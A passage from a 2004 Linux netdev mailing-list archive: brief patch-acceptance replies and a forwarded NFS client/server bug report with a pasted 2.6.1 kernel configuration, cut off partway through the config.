for ; Thu, 15 Jan 2004 15:07:45 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA09895; Thu, 15 Jan 2004 15:00:23 -0800 Date: Thu, 15 Jan 2004 15:00:23 -0800 From: "David S. Miller" To: Stephen Hemminger Cc: netdev@oss.sgi.com, chas@cmf.nrl.navy.mil, linux-atm-general@lists.sourceforge.net Subject: Re: [PATH] atm/clip device discovery on init not needed Message-Id: <20040115150023.2d80b6da.davem@redhat.com> In-Reply-To: <20040115145925.54eaf01a.shemminger@osdl.org> References: <20040113105843.0d1351cb.shemminger@osdl.org> <20040113163631.1a9c1a59.davem@redhat.com> <20040114164338.1f0d15e4.shemminger@osdl.org> <20040115145925.54eaf01a.shemminger@osdl.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2527 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 151 Lines: 6 On Thu, 15 Jan 2004 14:59:25 -0800 Stephen Hemminger wrote: > Forgot to resulting unused declaration. Applied, thanks Stephen. From davem@pizda.ninka.net Thu Jan 15 15:12:44 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 15:13:05 -0800 (PST) Received: from pizda.ninka.net (IDENT:root@pizda.ninka.net [216.101.162.242]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0FNChNT005661 for ; Thu, 15 Jan 2004 15:12:44 -0800 Received: (from davem@localhost) by pizda.ninka.net (8.9.3/8.9.3) id PAA09945; Thu, 15 Jan 2004 15:04:41 -0800 Date: Thu, 15 Jan 2004 15:04:41 -0800 From: "David S. Miller" To: Shirley Ma Cc: xma@us.ibm.com, kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [PATCH] IPv6 MIB:ipv6RouterAdvert netlink notification Message-Id: <20040115150441.4ff6eabc.davem@redhat.com> In-Reply-To: <200401151504.26610.mashirle@us.ibm.com> References: <200401151504.26610.mashirle@us.ibm.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.6; sparc-unknown-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2528 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 265 Lines: 9 On Thu, 15 Jan 2004 15:04:26 -0800 Shirley Ma wrote: > > So please either show where RTM_GETRA is used or regenerate the patch with > > that macro definition removed. > > This is the new patch for 2.6.1. Thanks Shirley, I'm applying this. From mfedyk@srv-lnx2600.matchmail.com.sgi.com Thu Jan 15 17:22:55 2004 Received: with ECARTIS (v1.0.0; list netdev); Thu, 15 Jan 2004 17:23:12 -0800 (PST) Received: from mta7.pltn13.pbi.net (mta7.pltn13.pbi.net [64.164.98.8]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0G1MrNT015420 for ; Thu, 15 Jan 2004 17:22:55 -0800 Received: from matchmail.com (adsl-63-194-239-202.dsl.lsan03.pacbell.net [63.194.239.202]) by mta7.pltn13.pbi.net (8.12.10/8.12.10) with ESMTP id i0G1McMu028691 for ; Thu, 15 Jan 2004 17:22:41 -0800 (PST) Received: from [10.0.0.2] (helo=srv-lnx2600.matchmail.com) by matchmail.com with esmtp (Exim 4.30) id 1AhIgt-0002Is-38; Thu, 15 Jan 2004 17:22:27 -0800 Received: from mfedyk by srv-lnx2600.matchmail.com with local (Exim 4.30) id 1AhIgs-0000Xd-P6; Thu, 15 Jan 2004 17:22:26 -0800 Date: Thu, 15 Jan 2004 17:22:26 -0800 From: Mike Fedyk To: netdev@oss.sgi.com Subject: Fwd: [2.6] nfs_rename: target $file busy, d_count=2 Message-ID: <20040116012226.GA1880@srv-lnx2600.matchmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.4i X-archive-position: 2529 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mfedyk@matchmail.com Precedence: bulk X-list: netdev Content-Length: 32973 Lines: 1605 Forgot to include netdev... ----- Forwarded message from Mike Fedyk ----- Date: Thu, 15 Jan 2004 16:03:46 -0800 From: Mike Fedyk To: linux-kernel@vger.kernel.org 1. nfs_rename: target $file busy, d_count=2 2. RPC request reserved 0 but used 40 Hi, I'm getting [1] in kernel log on the nfs client, and [2] on the nfs server. After that I get nfs stale file handles. Both client and server are running the same 2.6.1-bk2 kernel with TCP-NFS. SMP, Highmem, & preempt. I've run 2.6 nfs clients against this server when it was running 2.4 without trouble. I've tried restarting the nfs-kernel server, but that didn't help either. Anything else I should try? # # Automatically generated make config: don't edit # CONFIG_X86=y CONFIG_MMU=y CONFIG_UID16=y CONFIG_GENERIC_ISA_DMA=y # # Code maturity level options # CONFIG_EXPERIMENTAL=y CONFIG_CLEAN_COMPILE=y CONFIG_STANDALONE=y # # General setup # CONFIG_SWAP=y CONFIG_SYSVIPC=y CONFIG_BSD_PROCESS_ACCT=y CONFIG_SYSCTL=y CONFIG_LOG_BUF_SHIFT=15 # CONFIG_IKCONFIG is not set # CONFIG_EMBEDDED is not set CONFIG_KALLSYMS=y CONFIG_FUTEX=y CONFIG_EPOLL=y CONFIG_IOSCHED_NOOP=y CONFIG_IOSCHED_AS=y CONFIG_IOSCHED_DEADLINE=y # CONFIG_CC_OPTIMIZE_FOR_SIZE is not set # # Loadable module support # CONFIG_MODULES=y CONFIG_MODULE_UNLOAD=y # CONFIG_MODULE_FORCE_UNLOAD is not set CONFIG_OBSOLETE_MODPARM=y # CONFIG_MODVERSIONS is not set CONFIG_KMOD=y # # Processor type and features # # CONFIG_X86_PC is not set # CONFIG_X86_VOYAGER is not set # CONFIG_X86_NUMAQ is not set # CONFIG_X86_SUMMIT is not set # CONFIG_X86_BIGSMP is not set # CONFIG_X86_VISWS is not set CONFIG_X86_GENERICARCH=y # CONFIG_X86_ES7000 is not set CONFIG_X86_CYCLONE_TIMER=y # CONFIG_M386 is not set CONFIG_M486=y # CONFIG_M586 is not set # CONFIG_M586TSC is not set # CONFIG_M586MMX is not set # CONFIG_M686 is not set # CONFIG_MPENTIUMII is not set # CONFIG_MPENTIUMIII is not set # CONFIG_MPENTIUM4 is not set # CONFIG_MK6 is not set # CONFIG_MK7 is not set # CONFIG_MK8 is not set # CONFIG_MELAN is not set # CONFIG_MCRUSOE is not set # CONFIG_MWINCHIPC6 is not set # CONFIG_MWINCHIP2 is not set # CONFIG_MWINCHIP3D is not set # CONFIG_MCYRIXIII is not set # CONFIG_MVIAC3_2 is not set CONFIG_X86_GENERIC=y CONFIG_X86_CMPXCHG=y CONFIG_X86_XADD=y CONFIG_X86_L1_CACHE_SHIFT=7 CONFIG_RWSEM_XCHGADD_ALGORITHM=y CONFIG_X86_PPRO_FENCE=y CONFIG_X86_F00F_BUG=y CONFIG_X86_WP_WORKS_OK=y CONFIG_X86_INVLPG=y CONFIG_X86_BSWAP=y CONFIG_X86_POPAD_OK=y CONFIG_X86_ALIGNMENT_16=y CONFIG_X86_INTEL_USERCOPY=y CONFIG_HPET_TIMER=y # CONFIG_HPET_EMULATE_RTC is not set CONFIG_SMP=y CONFIG_NR_CPUS=2 CONFIG_PREEMPT=y CONFIG_X86_LOCAL_APIC=y CONFIG_X86_IO_APIC=y CONFIG_X86_MCE=y CONFIG_X86_MCE_NONFATAL=y CONFIG_X86_MCE_P4THERMAL=y # CONFIG_TOSHIBA is not set # CONFIG_I8K is not set # CONFIG_MICROCODE is not set # CONFIG_X86_MSR is not set # CONFIG_X86_CPUID is not set CONFIG_EDD=y # CONFIG_NOHIGHMEM is not set CONFIG_HIGHMEM4G=y # CONFIG_HIGHMEM64G is not set CONFIG_HIGHMEM=y CONFIG_HIGHPTE=y # CONFIG_MATH_EMULATION is not set CONFIG_MTRR=y # CONFIG_EFI is not set CONFIG_HAVE_DEC_LOCK=y # # Power management options (ACPI, APM) # CONFIG_PM=y # CONFIG_SOFTWARE_SUSPEND is not set # CONFIG_PM_DISK is not set # # ACPI (Advanced Configuration and Power Interface) Support # CONFIG_ACPI=y CONFIG_ACPI_BOOT=y CONFIG_ACPI_INTERPRETER=y # CONFIG_ACPI_SLEEP is not set CONFIG_ACPI_AC=y CONFIG_ACPI_BATTERY=y CONFIG_ACPI_BUTTON=y CONFIG_ACPI_FAN=y CONFIG_ACPI_PROCESSOR=y CONFIG_ACPI_THERMAL=y CONFIG_ACPI_ASUS=m CONFIG_ACPI_TOSHIBA=y # CONFIG_ACPI_DEBUG is not set CONFIG_ACPI_BUS=y CONFIG_ACPI_EC=y CONFIG_ACPI_POWER=y CONFIG_ACPI_PCI=y CONFIG_ACPI_SYSTEM=y # CONFIG_ACPI_RELAXED_AML is not set # # APM (Advanced Power Management) BIOS Support # CONFIG_APM=y # CONFIG_APM_IGNORE_USER_SUSPEND is not set CONFIG_APM_DO_ENABLE=y # CONFIG_APM_CPU_IDLE is not set CONFIG_APM_DISPLAY_BLANK=y # CONFIG_APM_RTC_IS_GMT is not set # CONFIG_APM_ALLOW_INTS is not set CONFIG_APM_REAL_MODE_POWER_OFF=y # # CPU Frequency scaling # # CONFIG_CPU_FREQ is not set # # Bus options (PCI, PCMCIA, EISA, MCA, ISA) # CONFIG_PCI=y # CONFIG_PCI_GOBIOS is not set # CONFIG_PCI_GODIRECT is not set CONFIG_PCI_GOANY=y CONFIG_PCI_BIOS=y CONFIG_PCI_DIRECT=y # CONFIG_PCI_USE_VECTOR is not set CONFIG_PCI_LEGACY_PROC=y CONFIG_PCI_NAMES=y CONFIG_ISA=y # CONFIG_EISA is not set # CONFIG_MCA is not set # CONFIG_SCx200 is not set CONFIG_HOTPLUG=y # # PCMCIA/CardBus support # # CONFIG_PCMCIA is not set CONFIG_PCMCIA_PROBE=y # # PCI Hotplug Support # # CONFIG_HOTPLUG_PCI is not set # # Executable file formats # CONFIG_BINFMT_ELF=y # CONFIG_BINFMT_AOUT is not set CONFIG_BINFMT_MISC=m # # Device Drivers # # # Generic Driver Options # CONFIG_FW_LOADER=m # # Memory Technology Devices (MTD) # # CONFIG_MTD is not set # # Parallel port support # CONFIG_PARPORT=m CONFIG_PARPORT_PC=m CONFIG_PARPORT_PC_CML1=m # CONFIG_PARPORT_SERIAL is not set CONFIG_PARPORT_PC_FIFO=y # CONFIG_PARPORT_PC_SUPERIO is not set # CONFIG_PARPORT_OTHER is not set CONFIG_PARPORT_1284=y # # Plug and Play support # CONFIG_PNP=y # CONFIG_PNP_DEBUG is not set # # Protocols # CONFIG_ISAPNP=y CONFIG_PNPBIOS=y # # Block devices # CONFIG_BLK_DEV_FD=m # CONFIG_BLK_DEV_XD is not set CONFIG_PARIDE=m CONFIG_PARIDE_PARPORT=m # # Parallel IDE high-level drivers # CONFIG_PARIDE_PD=m CONFIG_PARIDE_PCD=m CONFIG_PARIDE_PF=m CONFIG_PARIDE_PT=m CONFIG_PARIDE_PG=m # # Parallel IDE protocol modules # CONFIG_PARIDE_ATEN=m CONFIG_PARIDE_BPCK=m CONFIG_PARIDE_BPCK6=m CONFIG_PARIDE_COMM=m CONFIG_PARIDE_DSTR=m CONFIG_PARIDE_FIT2=m CONFIG_PARIDE_FIT3=m CONFIG_PARIDE_EPAT=m CONFIG_PARIDE_EPATC8=y CONFIG_PARIDE_EPIA=m CONFIG_PARIDE_FRIQ=m CONFIG_PARIDE_FRPW=m CONFIG_PARIDE_KBIC=m CONFIG_PARIDE_KTTI=m CONFIG_PARIDE_ON20=m CONFIG_PARIDE_ON26=m CONFIG_BLK_CPQ_DA=m CONFIG_BLK_CPQ_CISS_DA=m CONFIG_CISS_SCSI_TAPE=y CONFIG_BLK_DEV_DAC960=m CONFIG_BLK_DEV_UMEM=m CONFIG_BLK_DEV_LOOP=m # CONFIG_BLK_DEV_CRYPTOLOOP is not set CONFIG_BLK_DEV_NBD=m CONFIG_BLK_DEV_RAM=m CONFIG_BLK_DEV_RAM_SIZE=4096 # CONFIG_BLK_DEV_INITRD is not set # CONFIG_LBD is not set # # ATA/ATAPI/MFM/RLL support # CONFIG_IDE=y CONFIG_BLK_DEV_IDE=y # # Please see Documentation/ide.txt for help/info on IDE drives # # CONFIG_BLK_DEV_HD_IDE is not set CONFIG_BLK_DEV_IDEDISK=y CONFIG_IDEDISK_MULTI_MODE=y CONFIG_IDEDISK_STROKE=y CONFIG_BLK_DEV_IDECD=m CONFIG_BLK_DEV_IDETAPE=m CONFIG_BLK_DEV_IDEFLOPPY=m # CONFIG_BLK_DEV_IDESCSI is not set # CONFIG_IDE_TASK_IOCTL is not set CONFIG_IDE_TASKFILE_IO=y # # IDE chipset support/bugfixes # # CONFIG_BLK_DEV_CMD640 is not set # CONFIG_BLK_DEV_IDEPNP is not set CONFIG_BLK_DEV_IDEPCI=y # CONFIG_IDEPCI_SHARE_IRQ is not set # CONFIG_BLK_DEV_OFFBOARD is not set # CONFIG_BLK_DEV_GENERIC is not set CONFIG_BLK_DEV_OPTI621=y CONFIG_BLK_DEV_RZ1000=y CONFIG_BLK_DEV_IDEDMA_PCI=y # CONFIG_BLK_DEV_IDEDMA_FORCED is not set CONFIG_IDEDMA_PCI_AUTO=y # CONFIG_IDEDMA_ONLYDISK is not set CONFIG_IDEDMA_PCI_WIP=y CONFIG_IDEDMA_NEW_DRIVE_LISTINGS=y CONFIG_BLK_DEV_ADMA=y CONFIG_BLK_DEV_AEC62XX=y CONFIG_BLK_DEV_ALI15X3=y # CONFIG_WDC_ALI15X3 is not set CONFIG_BLK_DEV_AMD74XX=y CONFIG_BLK_DEV_CMD64X=y CONFIG_BLK_DEV_TRIFLEX=y CONFIG_BLK_DEV_CY82C693=y # CONFIG_BLK_DEV_CS5520 is not set CONFIG_BLK_DEV_CS5530=m CONFIG_BLK_DEV_HPT34X=y CONFIG_HPT34X_AUTODMA=y CONFIG_BLK_DEV_HPT366=y CONFIG_BLK_DEV_SC1200=y CONFIG_BLK_DEV_PIIX=y CONFIG_BLK_DEV_NS87415=y CONFIG_BLK_DEV_PDC202XX_OLD=y CONFIG_PDC202XX_BURST=y CONFIG_BLK_DEV_PDC202XX_NEW=y CONFIG_PDC202XX_FORCE=y CONFIG_BLK_DEV_SVWKS=y CONFIG_BLK_DEV_SIIMAGE=y CONFIG_BLK_DEV_SIS5513=y CONFIG_BLK_DEV_SLC90E66=y CONFIG_BLK_DEV_TRM290=y CONFIG_BLK_DEV_VIA82CXXX=y # CONFIG_IDE_CHIPSETS is not set CONFIG_BLK_DEV_IDEDMA=y # CONFIG_IDEDMA_IVB is not set CONFIG_IDEDMA_AUTO=y # CONFIG_DMA_NONPCI is not set # CONFIG_BLK_DEV_HD is not set # # SCSI device support # CONFIG_SCSI=y CONFIG_SCSI_PROC_FS=y # # SCSI support type (disk, tape, CD-ROM) # CONFIG_BLK_DEV_SD=y CONFIG_CHR_DEV_ST=m CONFIG_CHR_DEV_OSST=m CONFIG_BLK_DEV_SR=m # CONFIG_BLK_DEV_SR_VENDOR is not set CONFIG_CHR_DEV_SG=m # # Some SCSI devices (e.g. CD jukebox) support multiple LUNs # # CONFIG_SCSI_MULTI_LUN is not set # CONFIG_SCSI_REPORT_LUNS is not set # CONFIG_SCSI_CONSTANTS is not set # CONFIG_SCSI_LOGGING is not set # # SCSI low-level drivers # # CONFIG_BLK_DEV_3W_XXXX_RAID is not set # CONFIG_SCSI_7000FASST is not set # CONFIG_SCSI_ACARD is not set CONFIG_SCSI_AHA152X=m CONFIG_SCSI_AHA1542=m # CONFIG_SCSI_AACRAID is not set CONFIG_SCSI_AIC7XXX=y CONFIG_AIC7XXX_CMDS_PER_DEVICE=5 CONFIG_AIC7XXX_RESET_DELAY_MS=2000 # CONFIG_AIC7XXX_BUILD_FIRMWARE is not set CONFIG_AIC7XXX_DEBUG_ENABLE=y CONFIG_AIC7XXX_DEBUG_MASK=0 CONFIG_AIC7XXX_REG_PRETTY_PRINT=y # CONFIG_SCSI_AIC7XXX_OLD is not set # CONFIG_SCSI_AIC79XX is not set # CONFIG_SCSI_ADVANSYS is not set # CONFIG_SCSI_IN2000 is not set # CONFIG_SCSI_MEGARAID is not set CONFIG_SCSI_SATA=y # CONFIG_SCSI_SATA_SVW is not set CONFIG_SCSI_ATA_PIIX=m CONFIG_SCSI_SATA_PROMISE=m CONFIG_SCSI_SATA_VIA=m # CONFIG_SCSI_BUSLOGIC is not set # CONFIG_SCSI_CPQFCTS is not set # CONFIG_SCSI_DMX3191D is not set # CONFIG_SCSI_DTC3280 is not set # CONFIG_SCSI_EATA is not set # CONFIG_SCSI_EATA_PIO is not set # CONFIG_SCSI_FUTURE_DOMAIN is not set # CONFIG_SCSI_GDTH is not set # CONFIG_SCSI_GENERIC_NCR5380 is not set # CONFIG_SCSI_GENERIC_NCR5380_MMIO is not set # CONFIG_SCSI_IPS is not set # CONFIG_SCSI_INIA100 is not set CONFIG_SCSI_PPA=m CONFIG_SCSI_IMM=m CONFIG_SCSI_IZIP_EPP16=y # CONFIG_SCSI_IZIP_SLOW_CTR is not set # CONFIG_SCSI_NCR53C406A is not set CONFIG_SCSI_SYM53C8XX_2=y CONFIG_SCSI_SYM53C8XX_DMA_ADDRESSING_MODE=1 CONFIG_SCSI_SYM53C8XX_DEFAULT_TAGS=16 CONFIG_SCSI_SYM53C8XX_MAX_TAGS=64 # CONFIG_SCSI_SYM53C8XX_IOMAPPED is not set # CONFIG_SCSI_PAS16 is not set # CONFIG_SCSI_PSI240I is not set # CONFIG_SCSI_QLOGIC_FAS is not set # CONFIG_SCSI_QLOGIC_ISP is not set # CONFIG_SCSI_QLOGIC_FC is not set # CONFIG_SCSI_QLOGIC_1280 is not set # CONFIG_SCSI_SYM53C416 is not set # CONFIG_SCSI_DC395x is not set # CONFIG_SCSI_DC390T is not set # CONFIG_SCSI_T128 is not set # CONFIG_SCSI_U14_34F is not set # CONFIG_SCSI_ULTRASTOR is not set # CONFIG_SCSI_NSP32 is not set # CONFIG_SCSI_DEBUG is not set # # Old CD-ROM drivers (not SCSI, not IDE) # # CONFIG_CD_NO_IDESCSI is not set # # Multi-device support (RAID and LVM) # CONFIG_MD=y CONFIG_BLK_DEV_MD=y CONFIG_MD_LINEAR=y CONFIG_MD_RAID0=y CONFIG_MD_RAID1=y CONFIG_MD_RAID5=y # CONFIG_MD_MULTIPATH is not set CONFIG_BLK_DEV_DM=y CONFIG_DM_IOCTL_V4=y # # Fusion MPT device support # # CONFIG_FUSION is not set # # IEEE 1394 (FireWire) support (EXPERIMENTAL) # # CONFIG_IEEE1394 is not set # # I2O device support # # CONFIG_I2O is not set # # Networking support # CONFIG_NET=y # # Networking options # CONFIG_PACKET=m CONFIG_PACKET_MMAP=y CONFIG_NETLINK_DEV=m CONFIG_UNIX=m CONFIG_NET_KEY=m CONFIG_INET=y CONFIG_IP_MULTICAST=y CONFIG_IP_ADVANCED_ROUTER=y CONFIG_IP_MULTIPLE_TABLES=y CONFIG_IP_ROUTE_FWMARK=y CONFIG_IP_ROUTE_NAT=y CONFIG_IP_ROUTE_MULTIPATH=y CONFIG_IP_ROUTE_TOS=y CONFIG_IP_ROUTE_VERBOSE=y # CONFIG_IP_PNP is not set CONFIG_NET_IPIP=m CONFIG_NET_IPGRE=m CONFIG_NET_IPGRE_BROADCAST=y # CONFIG_IP_MROUTE is not set # CONFIG_ARPD is not set # CONFIG_INET_ECN is not set CONFIG_SYN_COOKIES=y CONFIG_INET_AH=m CONFIG_INET_ESP=m CONFIG_INET_IPCOMP=m # # IP: Virtual Server Configuration # # CONFIG_IP_VS is not set # CONFIG_IPV6 is not set # CONFIG_DECNET is not set CONFIG_BRIDGE=m CONFIG_NETFILTER=y # CONFIG_NETFILTER_DEBUG is not set # CONFIG_BRIDGE_NETFILTER is not set # # IP: Netfilter Configuration # CONFIG_IP_NF_CONNTRACK=m CONFIG_IP_NF_FTP=m CONFIG_IP_NF_IRC=m CONFIG_IP_NF_TFTP=m CONFIG_IP_NF_AMANDA=m CONFIG_IP_NF_QUEUE=m CONFIG_IP_NF_IPTABLES=m CONFIG_IP_NF_MATCH_LIMIT=m CONFIG_IP_NF_MATCH_IPRANGE=m CONFIG_IP_NF_MATCH_MAC=m CONFIG_IP_NF_MATCH_PKTTYPE=m CONFIG_IP_NF_MATCH_MARK=m CONFIG_IP_NF_MATCH_MULTIPORT=m CONFIG_IP_NF_MATCH_TOS=m CONFIG_IP_NF_MATCH_RECENT=m CONFIG_IP_NF_MATCH_ECN=m CONFIG_IP_NF_MATCH_DSCP=m CONFIG_IP_NF_MATCH_AH_ESP=m CONFIG_IP_NF_MATCH_LENGTH=m CONFIG_IP_NF_MATCH_TTL=m CONFIG_IP_NF_MATCH_TCPMSS=m CONFIG_IP_NF_MATCH_HELPER=m CONFIG_IP_NF_MATCH_STATE=m CONFIG_IP_NF_MATCH_CONNTRACK=m CONFIG_IP_NF_MATCH_OWNER=m CONFIG_IP_NF_FILTER=m CONFIG_IP_NF_TARGET_REJECT=m CONFIG_IP_NF_NAT=m CONFIG_IP_NF_NAT_NEEDED=y CONFIG_IP_NF_TARGET_MASQUERADE=m CONFIG_IP_NF_TARGET_REDIRECT=m CONFIG_IP_NF_TARGET_NETMAP=m CONFIG_IP_NF_TARGET_SAME=m CONFIG_IP_NF_NAT_LOCAL=y CONFIG_IP_NF_NAT_SNMP_BASIC=m CONFIG_IP_NF_NAT_IRC=m CONFIG_IP_NF_NAT_FTP=m CONFIG_IP_NF_NAT_TFTP=m CONFIG_IP_NF_NAT_AMANDA=m CONFIG_IP_NF_MANGLE=m CONFIG_IP_NF_TARGET_TOS=m CONFIG_IP_NF_TARGET_ECN=m CONFIG_IP_NF_TARGET_DSCP=m CONFIG_IP_NF_TARGET_MARK=m CONFIG_IP_NF_TARGET_CLASSIFY=m CONFIG_IP_NF_TARGET_LOG=m CONFIG_IP_NF_TARGET_ULOG=m CONFIG_IP_NF_TARGET_TCPMSS=m CONFIG_IP_NF_ARPTABLES=m CONFIG_IP_NF_ARPFILTER=m CONFIG_IP_NF_ARP_MANGLE=m # CONFIG_IP_NF_COMPAT_IPCHAINS is not set # CONFIG_IP_NF_COMPAT_IPFWADM is not set # # Bridge: Netfilter Configuration # # CONFIG_BRIDGE_NF_EBTABLES is not set CONFIG_XFRM=y CONFIG_XFRM_USER=m # # SCTP Configuration (EXPERIMENTAL) # CONFIG_IPV6_SCTP__=y # CONFIG_IP_SCTP is not set # CONFIG_ATM is not set # CONFIG_VLAN_8021Q is not set CONFIG_LLC=m # CONFIG_LLC2 is not set # CONFIG_IPX is not set CONFIG_ATALK=m # CONFIG_DEV_APPLETALK is not set # CONFIG_X25 is not set # CONFIG_LAPB is not set CONFIG_NET_DIVERT=y # CONFIG_ECONET is not set # CONFIG_WAN_ROUTER is not set # CONFIG_NET_FASTROUTE is not set CONFIG_NET_HW_FLOWCONTROL=y # # QoS and/or fair queueing # CONFIG_NET_SCHED=y CONFIG_NET_SCH_CBQ=m CONFIG_NET_SCH_HTB=m CONFIG_NET_SCH_CSZ=m CONFIG_NET_SCH_PRIO=m CONFIG_NET_SCH_RED=m CONFIG_NET_SCH_SFQ=m CONFIG_NET_SCH_TEQL=m CONFIG_NET_SCH_TBF=m CONFIG_NET_SCH_GRED=m CONFIG_NET_SCH_DSMARK=m CONFIG_NET_SCH_INGRESS=m CONFIG_NET_QOS=y CONFIG_NET_ESTIMATOR=y CONFIG_NET_CLS=y CONFIG_NET_CLS_TCINDEX=m CONFIG_NET_CLS_ROUTE4=m CONFIG_NET_CLS_ROUTE=y CONFIG_NET_CLS_FW=m CONFIG_NET_CLS_U32=m CONFIG_NET_CLS_RSVP=m CONFIG_NET_CLS_RSVP6=m CONFIG_NET_CLS_POLICE=y # # Network testing # CONFIG_NET_PKTGEN=m CONFIG_NETDEVICES=y # # ARCnet devices # # CONFIG_ARCNET is not set # CONFIG_DUMMY is not set # CONFIG_BONDING is not set # CONFIG_EQUALIZER is not set CONFIG_TUN=m CONFIG_ETHERTAP=m # CONFIG_NET_SB1000 is not set # # Ethernet (10 or 100Mbit) # CONFIG_NET_ETHERNET=y CONFIG_MII=m # CONFIG_HAPPYMEAL is not set # CONFIG_SUNGEM is not set CONFIG_NET_VENDOR_3COM=y CONFIG_EL1=m CONFIG_EL2=m CONFIG_ELPLUS=m CONFIG_EL16=m CONFIG_EL3=m CONFIG_3C515=m CONFIG_VORTEX=m CONFIG_TYPHOON=m # CONFIG_LANCE is not set CONFIG_NET_VENDOR_SMC=y CONFIG_WD80x3=m CONFIG_ULTRA=m CONFIG_SMC9194=m CONFIG_NET_VENDOR_RACAL=y CONFIG_NI52=m CONFIG_NI65=m # # Tulip family network device support # CONFIG_NET_TULIP=y CONFIG_DE2104X=m CONFIG_TULIP=m CONFIG_TULIP_MWI=y CONFIG_TULIP_MMIO=y CONFIG_DE4X5=m CONFIG_WINBOND_840=m CONFIG_DM9102=m CONFIG_AT1700=m CONFIG_DEPCA=m CONFIG_HP100=m # CONFIG_NET_ISA is not set CONFIG_NET_PCI=y CONFIG_PCNET32=m CONFIG_AMD8111_ETH=m CONFIG_ADAPTEC_STARFIRE=m CONFIG_ADAPTEC_STARFIRE_NAPI=y CONFIG_AC3200=m CONFIG_APRICOT=m CONFIG_B44=m CONFIG_CS89x0=m CONFIG_DGRS=m CONFIG_EEPRO100=m # CONFIG_EEPRO100_PIO is not set CONFIG_E100=m CONFIG_FEALNX=m CONFIG_NATSEMI=m CONFIG_NE2K_PCI=m CONFIG_8139CP=m CONFIG_8139TOO=m # CONFIG_8139TOO_PIO is not set # CONFIG_8139TOO_TUNE_TWISTER is not set # CONFIG_8139TOO_8129 is not set # CONFIG_8139_OLD_RX_RESET is not set CONFIG_SIS900=m CONFIG_EPIC100=m CONFIG_SUNDANCE=m CONFIG_SUNDANCE_MMIO=y CONFIG_TLAN=m CONFIG_VIA_RHINE=m CONFIG_VIA_RHINE_MMIO=y # CONFIG_NET_POCKET is not set # # Ethernet (1000 Mbit) # # CONFIG_ACENIC is not set # CONFIG_DL2K is not set # CONFIG_E1000 is not set # CONFIG_NS83820 is not set # CONFIG_HAMACHI is not set # CONFIG_YELLOWFIN is not set # CONFIG_R8169 is not set # CONFIG_SIS190 is not set # CONFIG_SK98LIN is not set # CONFIG_TIGON3 is not set # # Ethernet (10000 Mbit) # # CONFIG_IXGB is not set # CONFIG_FDDI is not set # CONFIG_HIPPI is not set # CONFIG_PLIP is not set CONFIG_PPP=m # CONFIG_PPP_MULTILINK is not set # CONFIG_PPP_FILTER is not set CONFIG_PPP_ASYNC=m # CONFIG_PPP_SYNC_TTY is not set CONFIG_PPP_DEFLATE=m CONFIG_PPP_BSDCOMP=m CONFIG_PPPOE=m # CONFIG_SLIP is not set # # Wireless LAN (non-hamradio) # # CONFIG_NET_RADIO is not set # # Token Ring devices # # CONFIG_TR is not set # CONFIG_NET_FC is not set # CONFIG_RCPCI is not set # CONFIG_SHAPER is not set # # Wan interfaces # # CONFIG_WAN is not set # # Amateur Radio support # # CONFIG_HAMRADIO is not set # # IrDA (infrared) support # # CONFIG_IRDA is not set # # Bluetooth support # # CONFIG_BT is not set # # ISDN subsystem # # CONFIG_ISDN_BOOL is not set # # Telephony Support # # CONFIG_PHONE is not set # # Input device support # CONFIG_INPUT=y # # Userland interfaces # CONFIG_INPUT_MOUSEDEV=y CONFIG_INPUT_MOUSEDEV_PSAUX=y CONFIG_INPUT_MOUSEDEV_SCREEN_X=1024 CONFIG_INPUT_MOUSEDEV_SCREEN_Y=768 # CONFIG_INPUT_JOYDEV is not set # CONFIG_INPUT_TSDEV is not set CONFIG_INPUT_EVDEV=m # CONFIG_INPUT_EVBUG is not set # # Input I/O drivers # CONFIG_GAMEPORT=m CONFIG_SOUND_GAMEPORT=m CONFIG_GAMEPORT_NS558=m CONFIG_GAMEPORT_L4=m CONFIG_GAMEPORT_EMU10K1=m CONFIG_GAMEPORT_VORTEX=m CONFIG_GAMEPORT_FM801=m CONFIG_GAMEPORT_CS461x=m CONFIG_SERIO=y CONFIG_SERIO_I8042=y CONFIG_SERIO_SERPORT=y # CONFIG_SERIO_CT82C710 is not set # CONFIG_SERIO_PARKBD is not set # CONFIG_SERIO_PCIPS2 is not set # # Input Device Drivers # CONFIG_INPUT_KEYBOARD=y CONFIG_KEYBOARD_ATKBD=y # CONFIG_KEYBOARD_SUNKBD is not set # CONFIG_KEYBOARD_XTKBD is not set # CONFIG_KEYBOARD_NEWTON is not set CONFIG_INPUT_MOUSE=y CONFIG_MOUSE_PS2=m CONFIG_MOUSE_SERIAL=m # CONFIG_MOUSE_INPORT is not set # CONFIG_MOUSE_LOGIBM is not set # CONFIG_MOUSE_PC110PAD is not set # CONFIG_INPUT_JOYSTICK is not set # CONFIG_INPUT_TOUCHSCREEN is not set CONFIG_INPUT_MISC=y CONFIG_INPUT_PCSPKR=m # CONFIG_INPUT_UINPUT is not set # # Character devices # CONFIG_VT=y CONFIG_VT_CONSOLE=y CONFIG_HW_CONSOLE=y # CONFIG_SERIAL_NONSTANDARD is not set # # Serial drivers # CONFIG_SERIAL_8250=y CONFIG_SERIAL_8250_CONSOLE=y CONFIG_SERIAL_8250_ACPI=y CONFIG_SERIAL_8250_NR_UARTS=4 CONFIG_SERIAL_8250_EXTENDED=y # CONFIG_SERIAL_8250_MANY_PORTS is not set 